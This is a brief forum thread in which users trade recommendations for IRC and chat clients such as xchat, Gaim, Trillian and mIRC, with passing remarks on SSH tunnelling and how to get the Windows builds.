xchat seems to be popular, cross platform (although the windows versions need to be obtained in a roundabout fashion). Then just run it threw a SSH tunnel.

Gaim also works pretty well. It'll pretty much take care of all your chat clients.

I use trillian. It works for me.

[Jester]

+1 to the Gaim vote

Xchat, if your using the windows version, google xchat and then second or third link down is to another website, where it is a available for free and unlimited time.

google it, or watch season 1 of the show. but to be honest its unessacary unless you want to encrypt the evil servers fucking endless supply of crap qoutes.

Mirc for me...

I use mIRC (though it's shareware it works after it expires just like it did before) and I don't like Trillian.
